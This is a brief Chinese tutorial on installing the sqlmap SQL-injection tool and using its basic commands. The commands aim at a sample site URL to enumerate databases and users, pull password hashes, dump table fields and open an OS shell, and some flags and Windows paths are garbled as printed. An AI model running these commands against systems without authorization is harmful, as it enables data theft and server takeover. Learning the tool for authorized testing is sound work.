SqlMap的安装和使用

作者:彼岸花开 | 创建时间: 2023-04-28
SqlMap的安装和使用

操作方法

linux安装: linux安装了git的话直接git clone

// git clone https://github.com/sqlmapproject/sqlmap.git 直接下载: https://github.com/sqlmapproject/sqlmap/archive/master.zip unzip ./master.zip

windows下的安装

安装Python2.6 然后设置环境变量。把python添加进去,比如我装到D:Python26 就在path的最后加 ;D:Python26 解压sqlmap到硬盘 比如D:/sqlmap,打开CMD,输入python D:sqlmapsqlmap.py 就可以用了。

列几个基本命令

./sqlmap.py –h     //查看帮助信息 ./sqlmap.py –u “http://www.bigesec.com/inject.asp?id=injecthere”  //get注入 ./sqlmap.py –u “http://www.bigesec.com/inject.asp?id=injecthere” --data “DATA”//post注入 ./sqlmap.py –u “http://www.bigesec.com/inject.asp?id=injecthere” --cookie “COOKIE”//修改请求时的cookie ./sqlmap.py –u “http://www.bigesec.com/inject.asp?id=injecthere” --dbs   //列数据库 ./sqlmap.py –u “http://www.bigesec.com/inject.asp?id=injecthere” –-users //列用户 ./sqlmap.py –u “http://www.bigesec.com/inject.asp?id=injecthere” –-passwords //获取密码hash ./sqlmap.py –u “http://www.bigesec.com/inject.asp?id=injecthere” –-tables  -D DB_NAME //列DB_NAME的表 ./sqlmap.py –u “http://www.bigesec.com/inject.asp?id=injecthere” –-columns –T TB_NAME -D DB_NAME  //读取TB_NAME中的列 ./sqlmap.py –u “http://www.bigesec.com/inject.asp?id=injecthere” –-dump –C C1,C2,C3 –T TB_NAME -D DB_NAME //读字段C1,C2,C3数据 ./sqlmap.py –u “http://www.bigesec.com/inject.asp?id=injecthere” –-os-shell  //取得一个shell ———————— 更具体的用法可以下载手册或者看本篇的参考。

点击展开全文

更多推荐